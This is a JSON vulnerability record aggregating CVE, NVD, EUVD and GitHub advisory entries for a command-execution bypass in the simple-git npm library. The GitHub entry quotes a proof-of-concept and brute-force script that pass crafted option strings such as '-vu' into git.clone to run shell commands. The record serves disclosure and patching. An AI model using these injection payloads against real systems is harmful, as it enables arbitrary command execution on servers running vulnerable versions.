{"id":"CVE-2026-28291","revision":null,"records":[{"revision":"4893858d720b48c5bceee7ae9681e743","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-28291","aliases":[],"title":"simple-git has Command Execution via Option-Parsing Bypass","description":"simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.","state":0,"publishedAt":"2026-04-13T17:15:14.594+00:00","modifiedAt":"2026-07-15T01:11:56.58+00:00","affected":[{"ecosystem":"Vendor product","name":"git-js","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"steveukx\",\n                    \"product\": \"git-js\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.32.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":"HIGH"}],"references":["https://github.com/steveukx/git-js/security/advisories/GHSA-jcxm-m3jx-f287","https://github.com/steveukx/git-js/commit/1effd8e5012a5da05a9776512fac3e39b11f2d2d","https://github.com/steveukx/git-js/blob/789c13ebabcf18ebe0b3a0c88ebb4037dede42e3/simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts#L26","https://github.com/steveukx/git-js/releases/tag/simple-git%403.32.0","https://www.cve.org/CVERecord?id=CVE-2022-25860"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-28291","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-28291","identifiers":["CVE-2026-28291"]},"retained":false,"historicalAffected":[]},{"revision":"abba3fad59fb4a4f886600673019cf63","observedAt":"2026-11-01T04:10:57.507+00:00","statement":{"source":"euvd","id":"EUVD-2026-22026","aliases":["CVE-2026-28291","GHSA-jcxm-m3jx-f287"],"title":"simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and …","description":"simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":null}],"references":["https://github.com/steveukx/git-js/security/advisories/GHSA-jcxm-m3jx-f287","https://github.com/steveukx/git-js/commit/1effd8e5012a5da05a9776512fac3e39b11f2d2d","https://github.com/steveukx/git-js/blob/789c13ebabcf18ebe0b3a0c88ebb4037dede42e3/simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts#L26","https://github.com/steveukx/git-js/releases/tag/simple-git%403.32.0","https://www.cve.org/CVERecord?id=CVE-2022-25860"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-22026","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 13, 2026, 5:15:14 PM","dateUpdated":"Jul 15, 2026, 1:11:56 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-22026","identifiers":["EUVD-2026-22026","CVE-2026-28291","GHSA-jcxm-m3jx-f287"]},"retained":false,"historicalAffected":[]},{"revision":"c1dd5089c731475ea61bdcd78f281d91","observedAt":"2026-10-27T07:23:32.255+00:00","statement":{"source":"nvd","id":"CVE-2026-28291","aliases":[],"title":"simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and …","description":"simple-git enables running native Git commands from JavaScript. Versions up to and including 3.31.1 allow execution of arbitrary commands through Git option manipulation, bypassing safety checks meant to block dangerous options like -u and --upload-pack. The flaw stems from an incomplete fix for CVE-2022-25860, as Git's flexible option parsing allows numerous character combinations (e.g., -vu, -4u, -nu) to circumvent the regular-expression-based blocklist in the unsafe operations plugin. Due to the virtually infinite number of valid option variants that Git accepts, a complete blocklist-based mitigation may be infeasible without fully emulating Git's option parsing behavior. This issue has been fixed in version 3.32.0.","state":0,"publishedAt":"2026-04-13T18:16:28.76+00:00","modifiedAt":"2026-10-26T22:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":"HIGH"}],"references":["https://github.com/steveukx/git-js/blob/789c13ebabcf18ebe0b3a0c88ebb4037dede42e3/simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts#L26","https://github.com/steveukx/git-js/commit/1effd8e5012a5da05a9776512fac3e39b11f2d2d","https://github.com/steveukx/git-js/releases/tag/simple-git%403.32.0","https://github.com/steveukx/git-js/security/advisories/GHSA-jcxm-m3jx-f287","https://www.cve.org/CVERecord?id=CVE-2022-25860","https://access.redhat.com/security/cve/CVE-2026-28291","https://bugzilla.redhat.com/show_bug.cgi?id=2457930","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-28291.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28291","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-78"],"productCriteria":["cpe:2.3:a:simple-git_project:simple-git:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-04-13T18:16:28.760","lastModified":"2026-10-26T22:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-28291","identifiers":["CVE-2026-28291"]},"retained":false,"historicalAffected":[]},{"revision":"7607fa06449c4c61920164af58caba6d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-jcxm-m3jx-f287","aliases":["CVE-2026-28291"],"title":"simple-git Affected by Command Execution via Option-Parsing Bypass","description":"### Summary\n\nsimple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is *likely* to affect all versions prior to and including 3.28.0.\n\n\n### Detail\n\nThis vulnerability was introduced by an incorrect patch for CVE-2022-25860.\n\nIt was reproduced in the following environment:\n\n```\n\nWSL Docker\nnode: v22.19.0\ngit: git version 2.39.5\nsimple-git: 3.28.0\n\n````\n\nThe issue was not reproduced on Windows 11.\n\nThe `-u` option, like `--upload-pack`, allows a command to be executed.\n\nCurrently, the `-u` and `--upload-pack` options are blocked in the file `simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts`.\n\n```ts\nfunction preventUploadPack(arg: string, method: string) {\n   if (/^\\s*--(upload|receive)-pack/.test(arg)) {\n      throw new GitPluginError(\n         undefined,\n         'unsafe',\n         `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack`\n      );\n   }\n\n   if (method === 'clone' && /^\\s*-u\\b/.test(arg)) {\n      throw new GitPluginError(\n         undefined,\n         'unsafe',\n         `Use of clone with option -u is not permitted without enabling allowUnsafePack`\n      );\n   }\n\n   if (method === 'push' && /^\\s*--exec\\b/.test(arg)) {\n      throw new GitPluginError(\n         undefined,\n         'unsafe',\n         `Use of push with option --exec is not permitted without enabling allowUnsafePack`\n      );\n   }\n}\n````\n\nHowever, the problem is that command option parsing is quite flexible.\n\nBy brute forcing, I found various options that bypass the `-u` check.\n\n```\n[\n  '--u', '--u',\n  '-4u', '-6u',\n  '-lu', '-nu',\n  '-qu', '-su',\n  '-vu'\n]\n```\n\nAll of the above are three-character options that allow command execution. They enable execution even when `allowUnsafePack` is explicitly set to false.\n\nThe depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the `-u` option, there is also the `--upload-pack` option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.\n\nTherefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.\n\nJust in case, I’ll share the brute-force code I used to find options that enable command execution.\n\n```js\nconst fs = require('fs');\nconst simpleGit = require('simple-git');\n\nconst TMP_DIR = './pwned/';\nconst ITER = 256;\n\nfunction cleanTmpDir() {\n    if (fs.existsSync(TMP_DIR)) {\n        fs.rmSync(TMP_DIR, { recursive: true, force: true });\n    }\n    fs.mkdirSync(TMP_DIR, { recursive: true });\n}\n\nfunction getPwnedFiles() {\n    const found = [];\n    for (let i = 0; i < ITER; i++) {\n        const fname1 = `${TMP_DIR}1_${i}`;\n        const fname2 = `${TMP_DIR}2_${i}`;\n        const fname3 = `${TMP_DIR}3_${i}`;\n        if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u');\n        if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u');\n        if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i));\n    }\n    return found;\n}\n\nasync function runTest(runIdx) {\n    const git = simpleGit();\n    // 1. `${~}-u` Pattern\n    for (let i = 0; i < ITER; i++) {\n        try {\n            await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c \\\"touch ${TMP_DIR}1_${i}\\\"`]);\n        } catch {}\n    }\n    // 2. `-${~}u` Pattern\n    for (let i = 0; i < ITER; i++) {\n        try {\n            await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', `sh -c \\\"touch ${TMP_DIR}2_${i}\\\"`]);\n        } catch {}\n    }\n    // 3. `-u${~}` Pattern\n    for (let i = 0; i < ITER; i++) {\n        try {\n            await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), `sh -c \\\"touch ${TMP_DIR}3_${i}\\\"`]);\n        } catch {}\n    }\n}\n\nasync function main() {\n    cleanTmpDir();\n    await runTest();\n\n    const found = getPwnedFiles();\n    \n    console.log(found);\n}\n\nmain();\n```\n\n### PoC\n\nThe environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors.\n\n```\nWSL Docker\nnode: v22.19.0\ngit: git version 2.39.5\nsimple-git: 3.28.0\n```\n\n1.\n\nCreate any git repository inside the `testrepo1` folder. A very simple repository with a single commit and a single file is fine.\n\n2.\n\nRun the following:\n\n```js\nconst { simpleGit } = require('simple-git');\n\nasync function main() {\n    const git = await simpleGit({ unsafe: { allowUnsafePack: false } });\n    await git.clone('./testrepo1', './testrepo2', [`-vu sh -c \\\"touch /tmp/pwned\\\"`]);\n}\n\nmain();\n```\n\nThis PoC explicitly configures `allowUnsafePack` to `false`. Of course, the same vulnerability occurs even without this option. An error is the expected behavior.\n\n3.\n\nCheck `/tmp` to confirm that `pwned` has been created.\nIf it failed, try replacing `-vu` with a different option from the list.\n\n### Impact\n\nThis vulnerability is *likely* to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).","state":0,"publishedAt":"2026-04-13T16:35:37+00:00","modifiedAt":"2026-09-10T03:50:44.5997188+00:00","affected":[{"ecosystem":"npm","name":"simple-git","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.32.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/steveukx/git-js/security/advisories/GHSA-jcxm-m3jx-f287","https://nvd.nist.gov/vuln/detail/CVE-2026-28291","https://github.com/steveukx/git-js/commit/1effd8e5012a5da05a9776512fac3e39b11f2d2d","https://github.com/steveukx/git-js","https://github.com/steveukx/git-js/blob/789c13ebabcf18ebe0b3a0c88ebb4037dede42e3/simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts#L26","https://github.com/steveukx/git-js/releases/tag/simple-git%403.32.0","https://www.cve.org/CVERecord?id=CVE-2022-25860"],"sourceUrl":"https://github.com/advisories/GHSA-jcxm-m3jx-f287","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-jcxm-m3jx-f287","identifiers":["GHSA-jcxm-m3jx-f287","CVE-2026-28291"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T11:57:48.0676708+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T11:57:48.0676708+00:00","lastSuccessAt":"2026-11-01T11:57:48.2627764+00:00","error":null,"lastVerifiedAt":"2026-11-01T11:57:48.2627778+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-9f544fe753c0f8392473253b79bdd66e19fccf5dd53b170273049f860eb7c038","complete":true,"records":417646,"lastAttemptAt":"2026-11-01T11:57:47.5724102+00:00","lastSuccessAt":"2026-11-01T11:57:47.5551783+00:00","error":null,"lastVerifiedAt":"2026-11-01T11:57:47.5724102+00:00","snapshotPublishedAt":"2026-11-01T11:25:34+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-528825d243c0407387670893d1d5e202","complete":false,"records":13568,"lastAttemptAt":"2026-11-01T12:05:35.9515421+00:00","lastSuccessAt":"2026-11-01T12:05:35.948+00:00","error":null,"lastVerifiedAt":"2026-11-01T12:05:35.948+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13478,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T11:57:48.0676708+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T11:57:48.0676708+00:00","lastSuccessAt":"2026-11-01T11:57:48.4468182+00:00","error":null,"lastVerifiedAt":"2026-11-01T11:57:48.4468195+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-fa630f122a1c4f578e086b25b29c2928","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T11:57:49.9076754+00:00","lastSuccessAt":"2026-11-01T11:57:49.904+00:00","error":null,"lastVerifiedAt":"2026-11-01T11:57:49.904+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T11:57:47.8797972+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T11:57:47.8797972+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T11:57:47.6499274+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T11:57:47.6499274+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T11:57:47.9991524+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T11:57:47.9991524+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-55acacd40a7aab88cf530cfddf98233a5d800cfc6bb1883653ecf5bee50f4426","complete":true,"records":230996,"lastAttemptAt":"2026-11-01T11:57:47.7667346+00:00","lastSuccessAt":"2026-11-01T09:06:49.6961926+00:00","error":null,"lastVerifiedAt":"2026-11-01T11:57:47.7667346+00:00","snapshotPublishedAt":"2026-11-01T08:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}